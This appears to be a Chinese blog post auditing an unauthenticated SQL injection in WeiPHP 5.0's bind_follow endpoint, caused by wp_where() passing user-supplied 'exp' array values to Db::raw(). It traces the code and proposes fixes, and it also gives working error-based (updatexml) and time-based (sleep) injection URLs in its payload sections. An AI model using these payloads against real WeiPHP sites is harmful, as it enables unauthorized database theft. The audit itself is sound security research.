php代码审计——WeiPHP 5.0 bind_follow wp_where() EXP 数组 SQL 注入漏洞审计
摘要:WeiPHP5.0框架的wp_where()函数存在SQL注入漏洞,源于对用户输入的exp数组未作安全校验,直接拼接原始SQL语句。攻击者可通过home/index/bind_follow接口构造恶意参数(如uid[0]=exp&uid[1]=注入代码)触发报错注入,无需登录即可窃取数据库信息。漏洞原理涉及ThinkPHP的Db::raw()机制对用户输入的信任缺陷,以及默认过滤未处理单引号
0x00 前言
WeiPHP 5.0 的 application/common.php 中提供了一个 wp_where() 辅助函数,用于统一构造 SQL 查询条件。该函数支持 exp 数组格式来表示原始 SQL 表达式,但对数组的第二元素未做任何安全校验,直接将用户输入通过 Db::raw() 拼入 SQL 语句。本文记录了对 home/index/bind_follow 接口利用 exp 数组触发 SQL 注入的完整审计过程。
该漏洞不需要登录,攻击者通过浏览器直接访问即可触发报错注入,窃取数据库中的敏感数据。
本文仅供安全研究与教学用途,请勿用于非法攻击。
0x01 环境信息
项目 | 版本 |
WeiPHP | 5.0 |
ThinkPHP 内核 | 5.1.37 |
PHP | 5.6 |
MySQL | 5.6 / 5.7 |
Web Server | Apache / Nginx |
本文章环境使用phpstudy_pro搭建,php,mysql版本可尝试其他版本
0x02 入口发现:bind_follow 接口
在 application/home/controller/Index.php 中找到 bind_follow() 方法:
// 管理员预览时初始化粉丝信息
public function bind_follow()
{
$publicid = $map['publicid'] = I('publicid');
$uid = $map['uid'] = I('uid'); // ★ 用户输入
$this->assign($map);
$info = M('user_follow')->where(wp_where($map))->find(); // ★ 传入 wp_where()
$is_ajax = I('is_ajax', 0);
if ($is_ajax) {
if ($info['follow_id'] > 0) {
session('follow_id', $info['follow_id']);
}
echo $info['follow_id'];
exit();
}
// ...
}关键信息:
分析项 | 结论 |
参数来源 |
|
默认过滤 |
|
数组支持 |
|
SQL 入口 |
|
关于
I()与input():ThinkPHP 5.1 的input()默认过滤器为htmlspecialchars,使用ENT_COMPAT标志。该模式下仅转义双引号,不转义单引号。这意味着单引号可以直接穿透到达 SQL 查询层。
0x03 认证分析:为什么不需要登录
Home 控制器继承自 WebBase,其 initialize() → initWeb() 方法中有登录检查。
文件:application/common/controller/WebBase.php
3.1 ACCESS 数据库配置
config('ACCESS') 的值来自数据库 wp_config 表,查询结果:
Home/Index/* 就在 ACCESS 配置中。
3.2 代码路径跟踪
请求 home/index/bind_follow 时,代码执行路径:
// 第一步:构造路径匹配键(第 102-107 行)
$index_2 = 'home/index/*'; // parse_name() 统一转小写
// 第二步:加载 ACCESS 配置并统一转小写(第 110-112 行)
// 'Home/Index/*' → strtolower → 'home/index/*'
$access = array_flip(['home/user/*', 'home/index/*', 'home/help/*', ...]);
// 第三步:判断 guest_login(第 114 行)
$guest_login = isset($access['home/index/*']); // ★ TRUE
// 结果:$guest_login = true
// 第四步:登录检查短路(第 116 行)
if (IS_GET && !is_login() && !$guest_login) {
// true true false ← 短路,不进入 if 块
return $this->redirect(...);
}三个 && 条件中,!$guest_login 为 false,整个条件短路,登录重定向代码不执行。bind_follow() 方法的业务代码继续执行。
3.4 总结
bind_follow 作为"管理员预览时绑定粉丝"的回调接口,从业务设计上就需要公开访问,因此被放入了 ACCESS 白名单。这不是认证漏洞,但公开接口中存在的 SQL 注入使得攻击者无需登录即可利用。
0x04 漏洞核心:wp_where() 的 EXP 处理缺陷
4.1 WP_WHERE() 源码分析
文件:application/common.php
function wp_where($field)
{
if (!is_array($field)) {
return $field; // 字符串直接返回
}
$res = [];
foreach ($field as $key => $value) {
// 分支 1: 数值键 或 三维数组(已预处理的查询条件)
if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
$value[2] = Db::raw($value[2]); // ★ 已在其他位置处理了 Db::raw
}
$res[] = $value;
}
// 分支 2: 二维数组 [操作符, 值] 格式
elseif (is_array($value)) {
if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
$value[1] = Db::raw($value[1]); // ★★★ 直接将用户输入包装为原始 SQL
}
$res[] = [$key, $value[0], $value[1]];
}
// 分支 3: 标量值,构造等值查询
else {
$res[] = [$key, '=', $value];
}
}
return $res;
}4.2 数据流追踪
攻击者构造 URL:
uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,md5('1'),0x7e),1)--+第一步 — PHP 解析 query string:
$_GET['uid'] = ['exp', ') and updatexml(1,concat(0x7e,md5(\'1\'),0x7e),1)--+'];第二步 — I('uid') 获取参数:
$map['uid'] = ['exp', ') and updatexml(1,concat(0x7e,md5(\'1\'),0x7e),1)--+'];第三步 — wp_where($map) 处理:
// $key = 'uid', $value = ['exp', ') and updatexml(1,...)--+']
// 进入分支 2(is_array($value) 且 $value[0] == 'exp')
// $value[1] 被包装为 Db::raw(') and updatexml(1,...)--+')
// 返回 [['uid', 'exp', Db::raw(') and updatexml(1,...)--+')]]第四步 — ThinkPHP Query Builder 生成 SQL:
ThinkPHP 处理 ['uid', 'exp', Db::raw('...')] 格式时,将 exp 操作符的第三个参数作为原始 SQL 表达式直接拼接:
SELECT * FROM `wp_user_follow` WHERE `publicid` = 1 AND (`uid` ) and updatexml(1,concat(0x7e,md5('1'),0x7e),1)--+ ) LIMIT 1注意 (uid 后面的 ) 来自我们 payload 的第一个字符 ),它闭合了 ThinkPHP 自动生成的 (uid 左括号。随后的 --+ 注释掉后面的 ) LIMIT 1。
4.3 注入原理
PHP 层 ThinkPHP 层 MySQL 层
─────── ──────────── ────────
uid[0]=exp → wp_where() 检测到 exp → WHERE (`uid`
uid[1]=)...--+ → → Db::raw(')...') → ) and updatexml(...)
→ ['uid','exp',Db::raw()] → --+ ) LIMIT 1
↑
注释掉后面的括号和 LIMIT4.4 为什么 EXP 的设计是危险的
Db::raw() 是 ThinkPHP 的"原始表达式"机制,它的本意是让开发者插入已知安全的 SQL 片段(如 NOW()、RAND() 等函数调用)。但当它与用户输入结合时,就变成了直接注入点。
wp_where() 的设计缺陷在于:它假设调用者传入的 exp 值是可信的,没有做任何过滤或校验,直接将用户输入从 $_GET 传递到 Db::raw()。
0x05 Payload 构造
#publicid与is_ajax对注入无影响
#获取database()
/public/index.php/home/index/bind_follow/?uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+ 0x06 wp_where() 的另外两个注入变体
变体一:三维数组格式
如果请求以以下格式构造(适用于某些 ThinkPHP 自动解析场景):
uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+对应 wp_where() 分支 1(count($value) == 3):
// 进入分支 1
if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
$value[2] = Db::raw($value[2]); // 同样直接注入
}payload
#publicid与is_ajax对注入无影响
#获取database()
/public/index.php/home/index/bind_follow/?uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=uid&uid[1]=exp&uid[2]=) and updatexml(1,concat(0x7e,database(),0x7e),1)--+变体二:关联数组格式
如果模块通过 $_REQUEST 接收参数且控制器用其他方式构造数组,任何形如 ['exp', 'PAYLOAD'] 的二维数组传入 wp_where() 都会触发注入。这意味着所有使用 wp_where() 且参数来自用户输入的查询都可能受到影响,除了 bind_follow 外还包括:
// 任何这样的调用都是潜在注入点
$map['xxx'] = I('xxx'); // xxx[0]=exp&xxx[1]=PAYLOAD
M('table')->where(wp_where($map))->select();0x07 修复方案
7.1 修复 wp_where() — 移除 EXP 对用户输入的信任
// application/common.php:4588-4591
elseif (is_array($value)) {
- if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
- $value[1] = Db::raw($value[1]);
- }
+ // 禁止 exp 操作符接受来自用户输入的原始 SQL
+ if (strtolower($value[0]) == 'exp') {
+ throw new \InvalidArgumentException(
+ 'exp operator is not allowed for user-supplied values'
+ );
+ }
$res[] = [$key, $value[0], $value[1]];
}同理修复分支 1 中对三维数组的 exp 处理。
7.2 业务代码层 — 白名单校验参数格式
// application/home/controller/Index.php:158
$uid = $map['uid'] = I('uid');
// 添加:如果 uid 是数组,拒绝或只提取数字值
if (is_array($uid)) {
throw new \InvalidArgumentException('Invalid parameter format');
}7.3 框架层 — 限制 input() 接受的参数格式
在 ThinkPHP 的 input() 函数中添加参数格式约束,例如 input('uid', '', 'intval') 强制整数转换,从根本上杜绝数组注入。
7.4 运行时防护 — 关闭调试模式
调试模式关闭后,SQL 报错不会在页面中直接回显,攻击者只能使用盲注(时间),利用难度和成本显著增加。但这只是缓解措施而非修复,注入漏洞仍然存在。
使用延时注入:
payload:
/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20or%20sleep(5)%230x08 总结
请求入口: ?uid[0]=exp&uid[1]=)...--+
│
▼
PHP 解析: $_GET['uid'] = ['exp', 'PAYLOAD']
│
▼
I('uid'): 默认 htmlspecialchars 过滤器 — 单引号不转义
│
▼
wp_where(): 检测 value[0]=='exp' → Db::raw(value[1])
无任何安全校验,直接包装为原始 SQL 表达式
│
▼
ThinkPHP Query Builder: 将 exp/Db::raw 值拼入 SQL
│
▼
MySQL 执行: updatexml 报错 → 数据回显审计要点:
input()默认过滤器不防 SQL 注入。htmlspecialchars只处理<>"&,单引号、括号、SQL 关键字均直接放行exp是 ThinkPHP 的"信任域"操作符。它被设计用于接收可信 SQL 片段,直接暴露给用户输入即为漏洞- PHP 数组参数是注入利器。
url[]=xxx语法让攻击者能构造任意结构的数组传入后端,绕过标量值的预期 wp_where()的安全边界模糊。调用者以为它做了过滤,实则字符串直传、exp 直包装,形同虚设app_debug是放大器。从盲注变成报错回显,利用成本从小时级降至秒级
本文首发于个人博客,转载请注明出处。